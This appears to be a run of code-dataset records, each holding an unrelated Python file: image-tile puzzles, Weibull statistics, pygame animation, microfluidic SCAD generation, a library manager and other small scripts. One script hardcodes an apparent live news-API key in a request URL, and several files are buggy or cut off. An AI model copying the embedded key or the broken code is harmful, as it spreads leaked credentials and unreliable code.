cv2.imread(original_img)\n self.unsolved_img = cv2.imread(unsolved_img)\n if self.original_img.shape != self.unsolved_img.shape:\n print(\"ERROR: The dimensions of the images do not match.\")\n exit()\n self.n_rows = n_rows\n self.n_cols = n_cols\n imgheight, imgwidth, _ = self.original_img.shape\n self.width = int(imgwidth / n_cols)\n self.height = int(imgheight / n_rows)\n self.subImages = []\n self.puzzle_original = [] # Indicates every position of the puzzle its subImage asociated\n self.original_img[0:self.height, 0:self.width] = 0 # Generates the black part in the original puzzle\n self.puzzle = []\n\n def check_if_divisible(self):\n imgheight, imgwidth, _ = self.original_img.shape\n result = 0\n\n if imgheight % self.n_rows != 0 or imgwidth % self.n_cols != 0:\n result = -1\n\n return result\n\n def crop(self, img, row, col):\n return img[row*self.height:row*self.height+self.height, col*self.width:col*self.width+self.width]\n\n def generate_img_from_matrix(self, tiles, matrix):\n img = np.empty_like(self.original_img)\n i=0\n\n for pos in matrix:\n row = i / self.n_cols\n col = i % self.n_cols\n img[row*self.height:row*self.height+self.height, col*self.width:col*self.width+self.width] = tiles[pos]\n i +=1\n\n return img\n\n def display_puzzle_img(self, name):\n cv2.imshow(name, self.generate_img_from_matrix(self.subImages, self.puzzle))\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def create_image(self): # Divide the original_img in tiles\n pos = 0\n\n for row in range(0, self.n_rows):\n for col in range(0, self.n_cols):\n\n tile = self.crop(self.original_img, row, col)\n previous_tile_pos = 0\n is_new_tile = True\n\n for previous_tile in self.subImages: # Check if the tile is equal to another one already store\n if (tile == previous_tile).all():\n self.puzzle_original.append(previous_tile_pos)\n is_new_tile = False\n break\n\n previous_tile_pos += 1\n\n if is_new_tile == True:\n self.subImages.append(tile)\n self.puzzle_original.append(pos)\n pos += 1\n\n def load_puzzle(self):\n tiles_unsolved_img = []\n\n for row in range(0, self.n_rows):\n for col in range(0, self.n_cols):\n tiles_unsolved_img.append(self.crop(self.unsolved_img, row, col))\n\n n_visited = 0\n\n for tile in tiles_unsolved_img:\n pos = 0\n\n for tile_original in self.subImages:\n if (tile == tile_original).all():\n self.puzzle.append(pos)\n n_visited += 1\n break\n pos += 1\n\n if n_visited != self.n_rows * self.n_cols:\n print(\"ERROR: The puzzle image and the original one are not the same!\")\n exit()\n","sub_path":"Deliverables/SubTask2/Folder_Run/img_processor.py","file_name":"img_processor.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"239706051","text":"import json\nimport csv\n\nlist_of_columns = []\n\nUSEFILE = 'polls_09_10.json'\nOUTFILE = 'csv_output_2019_09_10.csv'\n\nlist_of_rows = []\n\nwith open(USEFILE) as json_file:\n\tdata = json.load(json_file)\n\tfor line in data:\n\t\tlist_of_rows.append(line)\n\t\tfor key,value in line.items():\n\t\t\tif key not in list_of_columns:\n\t\t\t\tlist_of_columns.append(key)\n\nlist_of_columns.sort()\n\nwith open(OUTFILE, 'w') as csvfile:\n\twriter = csv.DictWriter(csvfile, fieldnames=list_of_columns)\n\twriter.writeheader()\n\tfor row in list_of_rows:\n\t\twriter.writerow(row)\n\n\n","sub_path":"poll_scrapy/poll_scrapy/clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"472747030","text":"from scipy.special import gamma\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom weibull_energy_assessment.templates import Templates\n\n\nclass Weibull:\n \"\"\"\n Reference: https://en.wikipedia.org/wiki/Weibull_distribution\n \"\"\"\n def __init__(self, a: float, k: float):\n self.a: float = a # weibull scale parameter (\"lambda\")\n self.k: float = k # weibull shape parameter (\"kappa\")\n\n self.mean: float = self.a * gamma(1 + 1/self.k)\n self.median: float = self.a * (np.log(2))**(1/self.k)\n self.mode: float = self.a * ((self.k - 1)/self.k)**(1/self.k)\n\n # get wind speed templates\n self.wind_speed_array = Templates.wind_speed_array\n\n def pdf(self, x):\n \"\"\"\n\n :param x: (float or array): random variable\n :return: (float or array) probability of occurrence\n \"\"\"\n return (self.k / self.a) * (x / self.a) ** (self.k - 1) * np.exp(-(x / self.a) ** self.k)\n\n def cdf(self, x):\n \"\"\"\n\n :param x: (float or array): random variable\n :return: (float or array): cumulative probability\n \"\"\"\n return 1 - np.exp(-(x/self.a)**self.k)\n\n def inverse_cdf(self, r):\n \"\"\"\n This function returns sample wind speed values from the weibull distribution\n :param r: float or array of random values between 0 and 1\n :return: float or array of sample wind speeds.\n \"\"\"\n return -self.a * (np.sign(np.log(r)) * np.abs((np.log(r)))**(1/self.k))\n\n def plot_pdf(self):\n\n p = self.pdf(self.wind_speed_array)\n\n plt.figure(figsize=(14, 10))\n plt.plot(self.wind_speed_array, p)\n plt.grid()\n plt.xlabel('Wind Speed [m/s]')\n plt.ylabel('PDF')\n plt.title(fr'Probability Density Function for $\\lambda$={self.a}; k={self.k}')\n plt.show()\n\n return\n\n def plot_cdf(self):\n cd = self.cdf(self.wind_speed_array)\n\n plt.figure(figsize=(14, 10))\n plt.plot(self.wind_speed_array, cd, color='k')\n plt.grid()\n plt.xlabel('Wind Speed [m/s]')\n plt.ylabel('CDF')\n plt.title(fr'Cumulative Distribution Function for $\\lambda$={self.a}; k={self.k}')\n plt.show()\n\n return\n\n\n\n\n\n","sub_path":"weibull_energy_assessment/weibull.py","file_name":"weibull.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"548615540","text":"import pygame, sys, time,math\nfrom pygame.locals import*\npygame.init()\nWHITE=(255,255,255)\nRED=(255,0,0)\nGREEN=(0,255,0)\nBLACK=(0,0,0)\nBLUE=(0,0,255)\ntopx1=10\ntopy1=100\ntopy=50\ntopx=400\nWINDOWWIDTH=1080\nWINDOWHEIGHT=920\nwindowSurface=pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT),0,32)\nwindowSurface.fill(BLACK)\nrectangle=pygame.draw.rect(windowSurface, BLUE, (topx, 50, 50, 50))\n#rectangle=pygame.draw.rect(windowSurface, RED,(150,50,100,50))\npygame.display.update()\nbasicFont=pygame.font.SysFont(None,48)\ntext=basicFont.render(\"xXx_420_N0sc0p3z_xXx\", True, WHITE, BLACK)\ntextRect=text.get_rect()\ntextRect.centerx=windowSurface.get_rect().centerx\ntextRect.centery=windowSurface.get_rect().centery\nwindowSurface.blit(text, textRect)\npygame.display.update()\nVar1S=5\nVar2S=5\nTopV1=10\nSideV1=5\nSideV2=10\nTopV2=10\nTH1=pygame.Rect(0,0,0,0)\nTH=pygame.image.load('TH.png')\nTH2=pygame.transform.scale(TH, (1080, 920))\nwhile True:\n windowSurface.fill(BLACK)\n time.sleep(0.0001)\n\n rectangle=pygame.draw.rect(windowSurface, BLUE, (topx1, topy1, 100, 100))\n rectangle1=pygame.draw.rect(windowSurface, GREEN, (topx, topy, 100, 100))\n\n for event in pygame.event.get():\n if event.type==QUIT:\n pygame.quit()\n sys.exit()\n# print(rectangle1.top) \n if rectangle.right>=WINDOWWIDTH:\n### windowSurface.fill(RED)\n SideV2=-SideV2\n if rectangle.top<= 0:\n TopV2=-TopV2\n if rectangle.bottom>=WINDOWHEIGHT:\n TopV2=-TopV2\n if rectangle.left <= 0:\n### windowSurface.fill(BLACK)\n SideV2=-SideV2\n if rectangle1.top<=0:\n TopV1=-TopV1\n# print(TopV1)\n if rectangle1.bottom>=WINDOWHEIGHT:\n TopV1=-TopV1\n if rectangle1.right>=WINDOWWIDTH:\n SideV1=-SideV1\n elif rectangle1.left<=0:\n SideV1=-SideV1\n if rectangle1.colliderect(rectangle):\n TopV1=-TopV1\n TopV2=-TopV2\n SideV1=-SideV1\n SideV2=-SideV2\n if event.type==KEYDOWN:\n windowSurface.fill(RED)\n pygame.display.update()\n time.sleep(0.0001)\n windowSurface.fill(BLUE)\n pygame.display.update()\n time.sleep(0.0001)\n windowSurface.fill(GREEN)\n pygame.display.update()\n time.sleep(0.0001)\n\n topy=topy+TopV1\n topy1=topy1+TopV2\n topx1=topx1+SideV2\n topx=topx+SideV1\n pygame.display.update()\n time.sleep(0.02)\n","sub_path":"FirstGame/Pygame2 - useless to download.py","file_name":"Pygame2 - useless to download.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"206190243","text":"import microfluidic_SCAD_generator \n\nufgen = microfluidic_SCAD_generator.UF_Generator(\"transposer_large\")\n\nufgen.label_height = .5\nufgen.channel_height = .5\nufgen.channel_width = 2\nufgen.port_radius = 1.6\nufgen.layer_offset = 4\nufgen.standoff_radius_1 = 3;\nufgen.standoff_radius_2 = 2.4;\nufgen.via_radius_1 = 2\nufgen.via_radius_2 = 1.6\nufgen.valve_membrane_thickness = .5\nufgen.valve_radius_1 = 3\nufgen.valve_radius_2 = 2.4\n\nc = ufgen.create_layer(ufgen.layer_offset, \"c\", True, color=[1,0,0])\nf = ufgen.create_layer(0, \"f\", color=[0,0,1])\n\nx_offset_start = 10\ny_offset_start = 10\n\nwidth = ufgen.width\nheight = ufgen.height\nBUFFER_DISTANCE = 3.4 # mm, area left clear between features\ntransposer_width = ufgen.via_radius_1 * 2 *2 + ufgen.valve_radius_1 * 3 * 2 + BUFFER_DISTANCE * 8 + ufgen.channel_width *2\ntransposer_height = ufgen.via_radius_1 *1 *2+ ufgen.valve_radius_1 * 2 * 2+ BUFFER_DISTANCE * 3 + ufgen.channel_width *2\nstartX = x_offset_start\nstartY = y_offset_start\nmidX = x_offset_start + transposer_width/2\nmidY = y_offset_start + transposer_height/2\nendX = x_offset_start + transposer_width\nendY = y_offset_start + transposer_height\n\nstart1 = [startX, startY]\nend1 = [endX, startY]\nstart2 = [startX,endY]\nend2 = [endX, endY]\n\nmid1 = [midX, startY]\nmid2 = [midX, endY]\n\nmid_offset_x = BUFFER_DISTANCE*2 + ufgen.valve_radius_1*3\nmid_offset_y = BUFFER_DISTANCE + ufgen.valve_radius_1 + ufgen.channel_width/2\nmid_channel_offset_x = mid_offset_x + BUFFER_DISTANCE + ufgen.valve_radius_1 + ufgen.channel_width/2\n\nmid1_forward = [midX - mid_offset_x, startY]\nvia_mid_forward = [midX - mid_offset_x, midY]\nvia_mid_backward = [midX + mid_offset_x, midY]\nmid2_backward = [midX + mid_offset_x, endY]\n\nvalve1 = [midX - mid_offset_x/2, startY]\nvalve2 = [midX + mid_offset_x/2, endY]\nvalve3 = [midX, startY + mid_offset_y]\nvalve4 = [midX, endY - mid_offset_y]\nvalve5 = [midX - mid_offset_x, startY + mid_offset_y]\nvalve6 = [midX + mid_offset_x, endY - mid_offset_y]\n\nvalve7 = [midX + mid_channel_offset_x, startY + mid_offset_y]\nvalve8 = [midX + mid_channel_offset_x, endY - mid_offset_y]\n\nvalve9 = [midX -mid_channel_offset_x,startY]\nvalve10 = [midX -mid_channel_offset_x, endY]\n\nvalve11 = [endX - BUFFER_DISTANCE - ufgen.port_radius - ufgen.via_radius_1, startY]\nvalve12 = [endX, startY + mid_offset_y]\n\nc1 = ufgen.create_channel(start1, end1, \"f\")\nc2 = ufgen.create_channel(start2, end2, \"f\")\n\nc3 = ufgen.create_channel(mid1, mid2, \"f\")\nc4 = ufgen.create_channel(mid1_forward, via_mid_forward, \"f\")\nc5 = ufgen.create_channel(mid2_backward, via_mid_backward, \"f\")\n\nv1 = ufgen.create_via(via_mid_forward, \"f\")\nv2 = ufgen.create_via(via_mid_backward, \"f\")\n\nc6 = ufgen.create_channel(via_mid_forward, via_mid_backward, \"c\")\np1 = ufgen.create_port(via_mid_forward, \"c\")\np2 = ufgen.create_port(via_mid_backward, \"c\")\n\nva1 = ufgen.create_valve(valve1, \"c\")\nva2 = ufgen.create_valve(valve2, \"c\")\nva3 = ufgen.create_valve(valve3, \"c\")\nva4 = ufgen.create_valve(valve4, \"c\")\nva5 = ufgen.create_valve(valve5, \"c\")\nva6 = ufgen.create_valve(valve6, \"c\")\n\nc_line_1 = ufgen.create_channel(valve4, valve6, \"c\")\nc_line_2 = ufgen.create_channel(valve3, valve5, \"c\")\n\nc_line_3 = ufgen.create_channel(valve3, valve7, \"c\")\nc_line_4 = ufgen.create_channel(valve4, valve8, \"c\")\nc_line_5 = ufgen.create_channel(valve7, valve8, \"c\")\n\nc_line_6 = ufgen.create_channel(valve1, valve9, \"c\")\nc_line_7 = ufgen.create_channel(valve10, valve2, \"c\")\n\nc_line_8 = ufgen.create_channel(valve9, valve10, \"c\")\n\nc_line_9 = ufgen.create_channel(valve9, valve11, \"c\")\n\nc_line_10 = ufgen.create_channel(valve7, valve12, \"c\")\n\nw_via_1 = ufgen.create_via(start1, \"f\")\nw_create_port_1 = ufgen.create_port(start1, \"c\")\n\nw_via_2 = ufgen.create_via(start2, \"f\")\nw_create_port_2 = ufgen.create_port(start2, \"c\")\n\nw_via_end_1 = ufgen.create_via(end1, \"f\")\nw_port_end_1 = ufgen.create_port(end1, \"c\")\n\nw_via_end_2 = ufgen.create_via(end2, \"f\")\nw_port_end_2 = ufgen.create_port(end2, \"c\")\n\npneu_port_1 = ufgen.create_port(valve11, \"c\")\npneu_port_2 = ufgen.create_port(valve12, \"c\")\n\ncorner_offset = 3;\noffset_point_1 = [corner_offset, corner_offset]\noffset_point_2 = [width-corner_offset, corner_offset]\noffset_point_3 = [width-corner_offset, height-corner_offset]\noffset_point_4 = [corner_offset, height-corner_offset]\n\nstandoff_1 = ufgen.create_standoff(offset_point_1, \"f\")\nstandoff_2 = ufgen.create_standoff(offset_point_2, \"f\")\nstandoff_3 = ufgen.create_standoff(offset_point_3, \"f\")\nstandoff_4 = ufgen.create_standoff(offset_point_4, \"f\")\n\nufgen.output_all_SCAD(False)\n","sub_path":"old/python_examples/transposer_large.py","file_name":"transposer_large.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"65588874","text":"import json #JavaScript Object Notation\n#Convert dict to JSON\n#JSON is textual which means it is STRING representation of DICT\n\na={\"B\":1,\"C\":2,\"D\":3}\nj=json.dumps(a) #converts dict to string for json\n\nprint(type(a),type(j))\n\njj=json.loads(j) #converts string to dict\nprint(jj)\n\nimport requests as rq\nr=rq.get(\"https://newsapi.org/v2/everything?q=bitcoin&from=2019-05-26&sortBy=publishedAt&apiKey=15e607436c444f1db43e2037513eb71e\")\nn=json.loads(r.text)\ni=0\nl=(len(n['articles']))\nwhile i=\"a\" and str1[0]<=\"z\") or (str1[0]>=\"A\" and str1[0]<=\"Z\")) and ((str1[1]>=\"a\" and str1[1]<=\"z\") or (str1[1]>=\"A\" and str1[1]<=\"Z\")):\n pass\n\"\"\"","sub_path":"venv/ses17.py","file_name":"ses17.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"504530077","text":"\"\"\"\ngame.py\n\"\"\"\nimport time\nimport sys\n\ndef make_a_guy(name, level, power, pet):\n \"\"\"\n make_a_guy\n\n :param name: str\n :param level: int\n :param power: str\n :param pet: str\n \"\"\"\n print(\"==================================================\")\n print(f\"{name} is level {level} w/ amazing power {power}\")\n print(f\"my pet is {pet}\")\n print(\"==================================================\")\n\ndef action(name, ops):\n \"\"\"\n action does ops\n\n :param name: str\n :param ops: str\n \"\"\"\n time.sleep(1)\n print(f\"{name} is doing {ops}!\")\n\ndef blood():\n \"\"\"blood does blood\"\"\"\n i = 0\n while i < 3:\n i = i + 1\n print(\"* BLOOD *\")\n\ndef dylan():\n \"\"\"say hello to the creator\"\"\"\n say(\"Dylan\")\n\ndef say(something):\n \"\"\"\n say something\n\n :param something: str\n \"\"\"\n print(f\"Hello {something}!\")\n\nif __name__ == \"__main__\":\n NAME = \"fiend\"\n PET = \"fang\"\n WEAPON = \"blood blaster\"\n TABLE = {\"a\": \"attacks\",\n \"d\": \"defends\",\n \"s\": \"pet bites\",\n \"f\": \"bleeds\",\n \"n\": \"jumps\",\n \"o\": \"king attack\",\n \"p\": \"potty time\",\n \"k\": \"kill move\",\n \"c\": \"change to gorilla lava monster\",\n \"9\": \"turn into Drew Brees\",\n \"q\": \"dies\"}\n COUNTER = 0\n dylan()\n make_a_guy(NAME, \"10\", WEAPON, PET)\n while True:\n ACTOR = input(\"Action> \")\n if len(ACTOR) > 1:\n say(ACTOR)\n else:\n try:\n DOING = TABLE[ACTOR]\n except KeyError:\n DOING = f\"ducks, dodge, grab your {WEAPON}!\"\n action(NAME, DOING)\n COUNTER = COUNTER + 1\n if COUNTER > 5:\n print(f\"Battle over {NAME} and {PET}\")\n blood()\n sys.exit()\n","sub_path":"examples/python/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"318061507","text":"from Model import *\n\nmm = Members('hamed' , 'sh', 28)\nmm1 = Members('ali' , 'mn', 25)\nmm2 = Members('milad' , 'ss', 23)\nmm3 = Members('saeed' , 'df', 24)\nmm4 = Members('sina' , 'gg', 29)\n\nclass Book:\n def __init__(self, bookname, author, category, bookid, language, translator, year):\n self.bookname = bookname\n self.author = author\n self.category = category\n self.bookid = bookid\n self.language = language\n self.translator = translator\n self.year = year\n self.status = True\n self.rent = None\n\n # ezafe kardan ketabie renk be yek list json\n def addRentBook(self, author, bookid, bookname, year, name, family):\n data = {}\n data['books'] = []\n data['books'].append({\n \"author\": str(self.author),\n \"bookid\": str(self.bookid),\n \"name\": str(self.bookname),\n \"year\": self.year,\n \"memberName\": str(Members('hamed', 'sh', '28')),\n })\n with open('rentBookList.txt', 'w') as outfile:\n json.dump(data, outfile)\n\n def removeRentBook(self):\n pass\n\n #khandan rentBookList\n def readRentBook(self):\n with open('rentBookList.txt', 'r') as list:\n data = list.read()\n object = json.loads(data)\n for i in object['faBooks']:\n BookIrani.name = (i['name'])\n\n\nclass BookIrani(Book):\n pass\ndef abcd():\n pass\nnameList = [] ; authorList = [] ; categoryList = [] ; bookidList = [] ; TranslatorList = []\nwith open('Fa_book.txt' , 'r') as list:\n data = list.read()\nobject = json.loads(data)\nfor i in object['faBooks']:\n nameList.append(i['name'])\n BookIrani.name = nameList\n\n authorList.append(i['author'])\n BookIrani.author = authorList\n\n categoryList.append(i['category'])\n BookIrani.category = categoryList\n\n bookidList.append(i['bookid'])\n BookIrani.bookid = bookidList\n\n TranslatorList.append(i['translator'])\n BookIrani.translator = TranslatorList\n\n\n\nclass BookInternational(Book):\n pass\n\nenNameList = [] ; enAuthorList = [] ; enCategoryList = [] ; enBookidList = []\nlanguageList = []\n\nwith open('En_book.txt' , 'r') as list:\n data = list.read()\nobject = json.loads(data)\nfor i in object['enBooks']:\n enNameList.append(i['name'])\n BookInternational.name = enNameList\n\n enAuthorList.append(i['author'])\n BookInternational.author = enAuthorList\n\n enCategoryList.append(i['category'])\n BookInternational.category = enCategoryList\n\n enBookidList.append(i['bookid'])\n BookInternational.bookid = enBookidList\n\n languageList.append(i['language'])\n BookInternational.language = languageList\n\n\nbook1 = Book(str(BookIrani.name[1]),str(BookIrani.author[1]),str(BookIrani.category[1]),\n str(BookIrani.bookid[1]),'',str(BookIrani.translator[1]),'')\nbook1.addRentBook(\"ss\", \"mh-8890\", \"buterfly\", 1995, \"hamed\",\"sh\")\n\n\nprint(BookIrani.name)\nprint(BookIrani.author)\nprint(BookInternational.name)\nprint(BookInternational.language)\nbbb=BookIrani()\nbbb.ab","sub_path":"Liberry/src/BookList.py","file_name":"BookList.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"435917839","text":"# Given a binary tree, you need to compute the length of the diameter of the tree. The diameter of a binary tree is the length of the longest path between any two nodes in a tree. This path may or may not pass through the root.\n#\n# Example:\n# Given a binary tree\n# 1\n# / \\\n# 2 3\n# / \\\n# 4 5\n# Return 3, which is the length of the path [4,2,1,3] or [5,2,1,3].\n#\n# Note: The length of path between two nodes is represented by the number of edges between them.\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def diameterOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n self.res = 0\n\n def dfs(root):\n if root == None: return 0\n left = dfs(root.left)\n right = dfs(root.right)\n self.res = max(self.res, left + right)\n return max(left, right) + 1\n\n dfs(root)\n return self.res\n\n\nclass Solution(object):\n def diameterOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n\n def dfs(root):\n if not root: return 0\n if not root.left and not root.right: return 1\n left = dfs(root.left)\n right = dfs(root.right)\n if root.left:\n if root.right:\n self.maxium = max(self.maxium, left + right + 1)\n return max(left + 1, right + 1)\n else:\n self.maxium = max(self.maxium, left + 1)\n return left + 1\n elif root.right:\n self.maxium = max(self.maxium, right + 1)\n return right + 1\n else:\n return 1\n\n self.maxium = 1\n dfs(root)\n return self.maxium - 1\n\n\n","sub_path":"src/543_Diameter_of_Binary_Tree.py","file_name":"543_Diameter_of_Binary_Tree.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"473902953","text":"from django.core.management.base import BaseCommand\nfrom core import models, jobs\n\n\nclass Command(BaseCommand):\n help = 'Analyse sentiments for all texts'\n\n def handle(self, *args, **options):\n texts = models.Text.objects.filter(sentimentreport=None, is_translated=True)\n for index, text in enumerate(texts):\n print('{}/{}'.format(index, texts.count()))\n jobs.sentiment(text.id)\n self.stdout.write(self.style.SUCCESS('done'))\n","sub_path":"server/core/management/commands/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"585100613","text":"s1 = input()\ns2 = input()\ncnt = 0\nif len(s1) > len(s2):\n s1, s2 = s2, s1\nfor i in range((len(s1))):\n for k in range(1,len(s1)):\n if i + k > len(s1):\n break\n for j in range(len(s2)):\n\n if s1[i:i + k] == s2[j:j + k] :\n cnt += 1\n\nprint(cnt)\n","sub_path":"Code/CodeRecords/2959/60730/308246.py","file_name":"308246.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"357326618","text":"SEPARATOR = \"================================================================================\"\n\ncount = 0\nword = \"Fax\"\n\ndef read_school_file(filename):\n f = open(filename, \"r\")\n for line in f:\n parser(line)\n\ndef parser(line: str):\n\n global count\n \n if line.strip() == \"Fax\":\n count += 1\n print(f\"{count}\")\n\ndef main():\n # screen scraping to get AACSB schools\n print(\"PARSING\")\n\n if word == \"Fax\":\n print(\"DUDE\") \n\n read_school_file(\"aacsb_addresses.txt\")\n\n # init db\n\n # create\n # make_schools()\n\n # get_addresses()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"school_file.py","file_name":"school_file.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"28406962","text":"\"\"\"\nComparison of Looping Frequency in Calcium and Magnesium Conditions\n--------------------------------------------------------------------------------\nAuthor: Soichi Hirokawa\nLast Modified: September 25, 2019\nLicense: MIT\n\nDescription\n--------------------------------------------------------------------------------\nThis script generates SI figure 6 which shows the effects of using different \nbivalent salts on the PC formation frequency.\n\nNotes\n--------------------------------------------------------------------------------\nThis script is designed to be run from the `code/figures` directory and uses a \nrelative path to load the relevant CSV files. \n\"\"\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport vdj.io\nimport vdj.viz\nvdj.viz.plotting_style()\n\n# Load the data with long-form looping confidence intervals \n# and restrict to relevant sets.\ndata = pd.read_csv('../../data/compiled_looping_frequency_bootstrap.csv',\n comment='#')\ndata = data[(data['hmgb1']==80)]\n\ncamg_data = pd.DataFrame()\nfor mut in data[data['salt']=='Ca']['mutant'].unique():\n camg_data = camg_data.append(data[data['mutant']==mut], ignore_index=True)\ncamg_data = camg_data.replace(to_replace='WT12rss', value='reference')\n\n# Provide three different plots for calcium-magnesium looping\n# frequency plots\nmuts = {'reference':0, '12HeptA4T':1, '12SpacG11T':2}\nlabel = {'reference': '(A)', '12HeptA4T':'(B)', '12SpacG11T':'(C)'}\ndf_loops = camg_data[camg_data['percentile']==95.0].copy()\n\nfig, ax = plt.subplots(3, 1, figsize=(6,6))\nfor mut in muts:\n ca_loops = df_loops[(df_loops['mutant']==mut) &\n (df_loops['salt']=='Ca')]['loops_per_bead'].values[0]\n mg_loops = df_loops[(df_loops['mutant']==mut) &\n (df_loops['salt']=='Mg')]['loops_per_bead'].values[0]\n ax[muts[mut]].set_xlim([0, 1.0])\n ax[muts[mut]].set_ylim([0.01, 0.08])\n ax[muts[mut]].set_yticklabels([])\n\n if muts[mut]!=2:\n ax[muts[mut]].set_xticklabels([])\n\n ax[muts[mut]].scatter(ca_loops, 0.06, s=100, marker='^', \n color='white', edgecolor='green', zorder=10)\n ax[muts[mut]].scatter(mg_loops, 0.03, s=100, marker='^', \n color='white', edgecolor='rebeccapurple', zorder=10)\n \n for g, d in camg_data[camg_data['mutant']==mut].groupby(['percentile','salt']):\n if g[1]=='Ca':\n rect = patches.Rectangle([d['low'].values[0], 0.048], \n (d['high'].values[0] - d['low'].values[0]),\n 0.024, color='green', alpha=0.15)\n ax[muts[mut]].add_patch(rect)\n elif g[1]=='Mg':\n rect = patches.Rectangle([d['low'].values[0], 0.018],\n (d['high'].values[0] - d['low'].values[0]),\n 0.024, color='rebeccapurple', alpha=0.15)\n ax[muts[mut]].add_patch(rect)\n ax[muts[mut]].text(0.98, 0.015, mut, fontsize=14, ha='right')\n ax[muts[mut]].text(-0.01, 0.078, label[mut], fontsize=14, \n ha='right', va='top')\nax[2].set_xlabel('loop frequency', fontsize=14)\n\n# Draw rectangles as legend\nconfidence_intervals = np.sort(camg_data['percentile'].unique())\nwidths = np.linspace(0.05, 0.06 * (len(confidence_intervals)), len(confidence_intervals))\nci_dict = {str(int(ci)):w for ci,w in zip(confidence_intervals, widths)}\nfor ci in ci_dict:\n ci_rect_ca = patches.Rectangle((0.10, 0.095), ci_dict[ci], 0.024, \n color='green', alpha=0.15, clip_on=False)\n ci_rect_mg = patches.Rectangle((0.60, 0.095), ci_dict[ci], 0.024, \n color='rebeccapurple', alpha=0.15, clip_on=False)\n ax[0].add_patch(ci_rect_ca)\n ax[0].add_patch(ci_rect_mg)\n ax[0].text(0.08 + ci_dict[ci], 0.085, ci + '%', ha='center')\n ax[0].text(0.58 + ci_dict[ci], 0.085, ci + '%', ha='center')\nax[0].text(0.25, 0.125, r'Ca$^{2+}$', fontsize=14)\nax[0].text(0.75, 0.125, r'Mg$^{2+}$', fontsize=14)\n\nplt.tight_layout()\nplt.savefig('../../figures/SiFigX_CaMg_looping_freq.pdf', facecolor='white', \n bbox_inches='tight')\n","sub_path":"code/figures/SiFig_CaMg_looping_freq.py","file_name":"SiFig_CaMg_looping_freq.py","file_ext":"py","file_size_in_byte":4212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"429718238","text":"\"\"\" AuthService class module.\n\"\"\"\n\nfrom urllib.parse import urlencode\nfrom http.client import HTTPConnection, HTTPResponse, HTTPException\nfrom dms2021sensor.data.rest.exc import NotFoundError\n\n\nclass AuthService():\n \"\"\" REST client to connect to the authentication service.\n \"\"\"\n\n def __init__(self, host: str, port: int):\n \"\"\" Constructor method.\n\n Initializes the client.\n ---\n Parameters:\n - host: The authentication service host string.\n - port: The authentication service port number.\n \"\"\"\n self.__host: str = host\n self.__port: int = port\n\n def __get_connection(self) -> HTTPConnection:\n \"\"\" Creates a new connection to the authentication server.\n ---\n Returns:\n The connection object.\n \"\"\"\n return HTTPConnection(self.__host, self.__port)\n\n def has_right(self, username: str, right: str) -> bool:\n \"\"\" Determines whether a given user from the authentication server\n has a certain right or not.\n ---\n Parameters:\n - username: The user name string.\n - right: The right name.\n Returns:\n True if the user has the given right\n Throws:\n - NotFoundError: if the user does not have the right, the user does not\n exist, or the right does not exist.\n - HTTPException: On an unhandled 500 error.\n \"\"\"\n form: str = urlencode({'username': username, 'right': right})\n headers: dict = {\n 'Content-type': 'application/x-www-form-urlencoded'\n }\n connection: HTTPConnection = self.__get_connection()\n connection.request('GET', '/users/'+str(username)+'/rights/'+str(right), form, headers)\n response: HTTPResponse = connection.getresponse()\n if response.status == 200:\n return True\n if response.status == 404:\n raise NotFoundError()\n if response.status == 500:\n raise HTTPException('Server error')\n return False\n","sub_path":"components/dms2021sensor/dms2021sensor/data/rest/authservice.py","file_name":"authservice.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"370705485","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport seaborn as sns\nfrom sklearn.datasets import make_blobs\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_samples, silhouette_score\n\ndf = pd.read_csv('winequality-red.csv', delimiter=';')\n\ncolumn_a = \"residual_sugar\"\ncolumn_b = \"density\"\nX = df[[column_a, column_b]]\n\nclusters = [2, 3, 4]\nsilhouette_scores = list()\n\nfor n_clusters in clusters:\n fig, (ax1, ax2) = plt.subplots(1, 